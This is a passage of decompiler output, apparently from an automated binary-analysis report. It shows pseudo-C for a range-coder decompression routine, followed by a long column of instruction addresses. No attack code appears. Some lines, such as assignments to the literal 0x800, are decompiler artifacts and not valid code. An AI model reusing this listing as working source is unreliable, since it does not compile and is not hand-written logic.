														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}













                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x00000000
                                                                                              0x00406707
                                                                                              0x00406707
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x0040674b
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x00406755
                                                                                              0x0040675a
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00406bca
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00406bdb
                                                                                              0x00406be2
                                                                                              0x00406be6
                                                                                              0x00406be6
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406346
                                                                                              0x00406349
                                                                                              0x004063ba
                                                                                              0x004063bd
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406352
                                                                                              0x00406354
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x0040636c
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406381
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406391
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00000000
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639c
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004063ad
                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406605
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406612
                                                                                              0x00406615
                                                                                              0x00406618
                                                                                              0x0040661b
                                                                                              0x0040661e
                                                                                              0x00406620
                                                                                              0x00406627
                                                                                              0x00406628
                                                                                              0x0040662a
                                                                                              0x0040662d
                                                                                              0x00406630
                                                                                              0x00406633
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x00406638
                                                                                              0x004065e9
                                                                                              0x004065ec
                                                                                              0x004065ef
                                                                                              0x004065f9
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066a4
                                                                                              0x004066a6
                                                                                              0x004066aa
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004063dd
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00000000
                                                                                              0x00406b4e
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406405
                                                                                              0x00406408
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040640e
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406445
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x00406478
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406481
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x00000000
                                                                                              0x00406496
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064de
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x00406509
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x0040650e
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00000000
                                                                                              0x0040651a
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040655a
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x0040657f
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00000000
                                                                                              0x00406526
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a2
                                                                                              0x004065a5
                                                                                              0x004065bd
                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cd
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d2
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a0
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00000000
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00000000
                                                                                              0x00406a6e
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406779
                                                                                              0x0040677c
                                                                                              0x0040677f
                                                                                              0x00406781
                                                                                              0x00406783
                                                                                              0x00406783
                                                                                              0x00406784
                                                                                              0x00406787
                                                                                              0x0040678e
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a84
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00000000
                                                                                              0x00406bc0
                                                                                              0x00406a8e
                                                                                              0x00406a91
                                                                                              0x00406a94
                                                                                              0x00406a98
                                                                                              0x00406a9b
                                                                                              0x00406aa1
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aac
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00406b10
                                                                                              0x00406b13
                                                                                              0x00406b18
                                                                                              0x00406b19
                                                                                              0x00406b1b
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00406a32
                                                                                              0x00406a2c
                                                                                              0x00406ab2
                                                                                              0x00406ab8
                                                                                              0x00406abb
                                                                                              0x00406abe
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad0
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406af2
                                                                                              0x00406af5
                                                                                              0x00406af9
                                                                                              0x00406afb
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406add
                                                                                              0x00406ae2
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b02
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406529
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066b4
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00000000
                                                                                              0x00406b7e
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
